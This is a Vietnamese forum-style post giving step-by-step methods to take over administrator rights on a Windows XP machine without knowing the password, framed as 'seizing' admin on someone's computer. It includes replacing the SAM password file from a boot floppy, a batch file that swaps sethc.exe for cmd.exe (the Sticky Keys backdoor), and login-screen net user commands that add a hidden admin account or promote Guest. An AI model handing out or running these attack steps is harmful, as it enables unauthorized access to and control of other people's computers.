logo az24

Đầu tiên tui cũng chưa biết làm thế nào, nhưng về sau tui đã đánh liều và thử một cách như sau :
+ Tôi tạo Pass của user có tên là Administrator là trắng (Nghĩa là không đặt password , password bỏ trắng) trên máy cài win XP, tôi khởi động lại máy , sau đó tôi vào DOS và copy lại cái file SAM ở cái máy mà tôi vừa tạo với pass của User : Administrator (Đây là người có quyền quản trị cao nhất) là trắng vào thư mục BACKUP trong đĩa mềm của tôi.
+ Sau đó tôi sang cái máy cài WinXP mà tôi muốn cướp quyền Admin ( Với pass của Administrator mà tôi không biết )
+ Sau khi khởi động và Boot bằng đĩa mềm sẽ hiện ra 3 phần cho bạn chọn , bạn chọn cái đầu tiên là : NTFS4DOS . Sau đó bạn cứ để mặc cho nó chạy tiếp. Tiếp sau đó nó sẽ hiện ra một dòng thông báo hỏi bạn có muốn sử dụng tiện ích NTFS4DOS ko ? bạn đánh chữ yes và ấn Enter .
sau đó nó sẽ hiện ra dòng A:\> bạn chuyển sang ổ đĩa cứng là phân vùng chính cài Win ( Ở đây tôi sẽ lấy ví dụ là ổ C
A:\> C:
C:\> cd WINDOWS\SYSTEM32\CONFIG ( dùng lệnh cd để chuyển đến thư mục WINDOWS\SYSTEM32\CONFIG
Tiếp tục : Tại C:\>WINDOWS\SYSTEM32\CONFIG bạn đánh lệnh dir
C:\>WINDOWS\SYSTEM32\CONFIG\dir
Ta sẽ nhìn thấy file có tên là : SAM
Tiếp tục tại dấu nhắc lệnh : C:\>WINDOWS\SYSTEM32\CONFIG bạn đánh lệnh
C:\>WINDOWS\SYSTEM32\CONFIG\ren SAM DUNG
sau đó bạn đánh thử lại lệnh Dir để kiểm tra xem đã có file tên DUNG chưa ? Nếu có rồi thì đẫ thành công .
Chú ý : Tốt nhất là trước khi đánh lệnh ren SAM DUNG để đổi tên file SAM bạn lên backup nó trứơc :
C:\>WINDOWS\SYSTEM32\CONFIG\md Backup (Để tạo thư mục backup)
C:\>WINDOWS\SYSTEM32\CONFIG\copy SAM C:\>WINDOWS\SYSTEM32\CONFIG\BACKUP ( làm như vậy cho chắc ăn )
- Tiếp theo từ C:\>WINDOWS\SYSTEM32\CONFIG tôi đánh lệnh
C:\>WINDOWS\SYSTEM32\CONFIG A: để chuyển sang ổ mềm A
- Tại ổ A ta đánh lệnh A:\>cd Backup để vào thư mục BACKUP ở trong ở A .
- Tại A : \>BACKUP> ta đánh lệnh dir để kiểm tra xem đã thấy file SAM ở trong đó chưa A : >\BACKUP>dir
- Từ A : >\BACKUP\ ta đánh lệnh :
A : >\BACKUP\copy SAM C:\>WINDOWS\SYSTEM32\CONFIG (Chú ý : Trước khi đánh lệnh trên thì bạn phải chắc chắn là file SAM ở trong thư mục C:\>WINDOWS\SYSTEM32\CONFIG đã được đổi tên thành tên khác )
- Sau khi đánh lệnh trên xong nếu copy thành công bạn sẽ nhận được 1 tông báo là : 1 file copy ... gì gì đó tôi không nhớ lắm . Sau đó bạn khởi động lại máy và bỏ đĩa mềm ra .
- Khi đăng nhập vào máy bạn gõ user là Administrator và password là trắng bạn cứ việc gõ Enter thế là Okie giờ đây bạn đã là Người có quyền quản trị cao nhất rùi.

bạn thử cách này đăng nhập ko cần pass:
tại cửa sổ đăng nhập bạn nhấn tổ hợp phím Ctrl+Alt+Delete 2 lần sẽ xuất hiện một cái bản
bạn nhập vào ô username là administrator mật khẩu để trống sau đó enter
sau khi đăng nhập vào rùi bạn có thể thay đổi pass admin hoặc xóa luôn cũng được. 

Trên Windows XP, nếu bạn nhấp phím Shift 5 lần, Windows sẽ gọi một chương trình nhỏ có tên là StickyKey. Đây là chương trình hỗ trợ người khuyết tật khi sử dụng Windows XP được đính kèm mặc đinh trong bộ tiện ích của Windows. Điều này có nghĩa là bạn có thể gọi chương trình này bằng phím tắt mà không cần đến giao diện thân thiện (1).

Nếu bạn đăng nhập bằng tài khoản có tên User1 và nhấp phím Shift 5 lần để gọi chương trình này, Windows sẽ lấy quyền của User1 để gọi chương trình StickyKey. Nếu bạn không đăng nhập vào bất kỳ một tài khoản nào mà gọi được StickyKey thì Widnows sẽ lấy quyên của hệ thống (System) để chạy StickyKey (2).

Từ giả định (1) và (2) trên, nếu bạn thay thế file thực thi của chương trình StickyKey (sethc.exe) bằng chương trình Command Run (cmd.exe) và gọi nó bằng 5 lần phím Shift mà không đăng nhập bằng tài khoản nào cả thì windows sẽ dùng quyền của Hệ thống (system) gọi file cmd.exe thay vì file sethc.exe. Thế là có thể làm bất cứ chuyện gì bằng tài khoản của cao nhất (quyền của Hệ thống) trên chương trình Command Run.

Bước 1: Vào windows với tài khoản User bình thường và nhấn 5 lần phím Shift để gọi thử chương trình StickyKey trên Windows và đóng nó lại (chỉ nhằm để xem thử).

Bước 2: Vào Start >> Run >> nhập vào Notepad và Enter để gọi chương trình Notepad.exe. Copy đoạn mã của mình viết, past vào notepad, Save lại với tên là Hackpass.bat

Code:

cd %systemroot%/system32
rename sethc.exe sethc.exe.bk
copy cmd.exe sethc.exe /y
Sau đó nhấp kép chuột lên file Hackpass.bat để thực thi!

Đoạn mã này làm các nhiệm vụ sau:

1. Sao lưu lại file sethc.exe bằng cách đặt lại tên là sethc.exe.bk

2. Thay thế file sethc.exe bằng file cmd.exe

Đến đây, bạn nhấp phím Shift 5 lần, nếu chương trình Command Run được gọi thay vì chương trình StickyKey thì bạn đã thành công!

Bước 3: Khởi động lại máy. Khi đến màn hình đăng nhập, bạn khoan hãy đăng nhập mà nhấn phím Shift 5 lần…… Lúc này chương trình Command Run xuất hiện, bạn nhập một trong những vào đoạn lệnh dưới đây

Xóa trắng password của Administrator:

Code:
net user Administrator
—- > nhấn phím Enter khi hoàn thành!

Thêm một tài khoản Admin với mật khẩu là 123
Code:
net user Admin 123 /add
—- > nhấn phím Enter khi hoàn thành!

Gán tài khoản Admin vào nhóm quản trị:
Code:
net localgroup Administrators Admin /add
—- > nhấn phím Enter khi hoàn thành!

Nếu bạn sử dụng đúng cấu trúc lệnh phía trên, bạn sẽ tạo được các tài khoản mới. Tại đây, bạn có thể đăng nhập vào các tài khoản mới mà không cần khởi động lại máy! 

Khi sử dụng HĐH Windows XP, đôi khi bạn vô tình nhấn nút Shift 5 lần 1 hộp thoại sẽ hiện ra hỏi bạn có muốn dùng tính năng Sticky Key không (mình cũng chẳng bik cái này có tác dụng gì)
Nhưng điều cần nói ở đây hộp thoại này có thể tạo 1 kẽ hở trong hệ thống mà bạn có thể khai thác (hộp thoại này hiện ra (khi bấm shift 5 lần) ngay khi bạn chưa logon vào win (ở màn hình đòi nhập pass). Hộp thoại đó bản chất là tập tin sethc.exe (C:\windows\ system32\sethc.exe), vì vậy bạn có thể dùng các CD khởi động để boot máy (hok vào win) và tráo file này bằng cmd.exe (file gọi hộp thoại command prompt)
làm cách nào để tráo file thì tùy bạn nhớ copy file sethc.exe lại để sau này trả về chỗ cũ
-Khi màn hình đòi pass hiện ra, bấm Shift 5 lần, lúc này hộp sticky key sẽ hok hiện ra nữa thay vào đó là hộp command prompt (hộp thoại DOS).
từ màn hình cmd bạn gõ dòng lệnh:
Net Localgroup Administrators Guest /add
xong enter!
lúc này user Guest của bạn có quyền admin rồi đó
sau đó bạn xóa file giả mạo xong copy file sethc.exe về lại thư mục system 32
Good Lucky!

Mình không rành win XP3 lắm @@